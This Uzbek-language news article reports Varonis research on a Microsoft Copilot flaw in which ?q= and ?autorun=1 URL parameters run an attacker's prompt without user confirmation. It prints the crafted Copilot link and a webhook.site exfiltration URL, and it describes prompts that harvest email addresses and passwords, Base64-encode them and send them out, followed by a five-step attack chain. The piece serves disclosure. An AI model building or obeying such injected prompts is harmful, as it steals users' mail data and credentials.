Texnologiya nashri Ars Technica kecha (18-avgust) maqola e’lon qilib, Microsoft Copilot’da xavfsizlik zaifligi mavjudligini xabar qildi. U ?autorun=1 parametri va ?q= bilan birgalikda foydalanuvchi tasdig‘ini chetlab o‘tib, foydalanuvchi ma’lumotlarini o‘g‘irlashi mumkin.
IT之家 maqolaga tayanib xabar berishicha, Varonis xavfsizlik kompaniyasi tadqiqotchilari ta’kidlashicha, aksariyat AI yordamchilari kabi Copilot ham URL orqali so‘rovlarni qabul qiladi. URL’ning asosiy qismi modelga Gmail kabi ilovalarni ochish imkonini beradi, keyingi parametrlar va matn esa yordamchidan kiruvchi xatlar qutisini umumlashtirish yoki xat loyihasini tayyorlashni so‘rashi mumkin.
Tadqiqotchilar Copilot’da ?autorun=1 parametri mavjudligini aniqladi. U ?q= bilan birgalikda foydalanuvchi tasdig‘ini chetlab o‘tish uchun quyidagi havolani yaratish imkonini beradi:
https://copilot.microsoft.com/?q=&autorun=1Foydalanuvchi hujumchi yaratgan havolani bosganidan so‘ng, brauzer foydalanuvchi tizimga kirgan sessiyada Copilot’ni yuklaydi. Bunda ?autorun=1 avtomatik bajarishni ishga tushiradi, ?q= ichidagi so‘rov esa foydalanuvchi ishorasisiz bajariladi.
Tadqiqotchilar yaratgan so‘rov Copilot’dan kiruvchi xatlar qutisini qidirib, eng so‘nggi kelgan xatlarni topishni, faqat jo‘natuvchilarning elektron pochta manzillarini ajratib olishni va natijani SUPPORT nomli o‘zgaruvchida saqlashni so‘ragan. Shundan so‘ng Copilot quyidagi URL’ni yaratib, “URL’ni umumlashtirish” buyrug‘ini bajaradi:
https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORTHujumchi zararli havolani elektron pochta, chat xabari, fishing sahifasi yoki QR-kod orqali jabrlanuvchiga yuborishi mumkin. Foydalanuvchi havolani bosganida, maxfiy ma’lumotlar boshqa URL’ga qo‘shiladi va Copilot ushbu manzilni qurilmada avtomatik ochadi. Sahifa hujumchi nazoratidagi saytda joylashgani sababli, ma’lumotlar oxir-oqibat hujumchiga yuboriladi.
Tadqiqotchilar Copilot’dan kiruvchi xatlar qutisidan parollar va boshqa hisob ma’lumotlarini qidirishni so‘raydigan yana bir so‘rovni ham ishlab chiqdi. Tegishli maxfiy ma’lumotlar aniqlanganda, yordamchi ularni xuddi shu turdagi hujumchi nazoratidagi serverga yuboradi. Ma’lumotlarni o‘g‘irlashni yashirish va uzatishdagi xatolarni kamaytirish uchun tashqariga yuboriladigan kontent avval Base64’ga (ikkilik ma’lumotlarni matn sifatida kodlash formati) aylantiriladi.
Varonis sanab o‘tgan hujum zanjiri 5 bosqichdan iborat:
1. Jabrlanuvchi hujumchi puxta yaratgan URL’ni bosadi (u elektron pochta, chat, fishing sahifasi, QR-kod va boshqa vositalar orqali tarqatiladi)
2. Brauzer jabrlanuvchining faol va autentifikatsiyadan o‘tgan sessiyasida copilot.microsoft.com saytini yuklaydi.
3. ?autorun=1 parametri avtomatik bajarishni ishga tushiradi, ?q= so‘rovi esa foydalanuvchining hech qanday harakatisiz ochiladi.
4. Copilot kiritilgan so‘rovni qayta ishlaydi va jabrlanuvchi sessiyasi konteksti, ulangan ilovalar hamda xotirasiga to‘liq kirish huquqiga ega bo‘ladi.
5. Copilot oynasi yuklangach darhol yopilsa ham, so‘rov bajarilishini yakunlaydi. Bunga tarmoq orqali ma’lumot olish, ulagichlarni chaqirish yoki ko‘p bosqichli zanjirli amallar ham kiradi.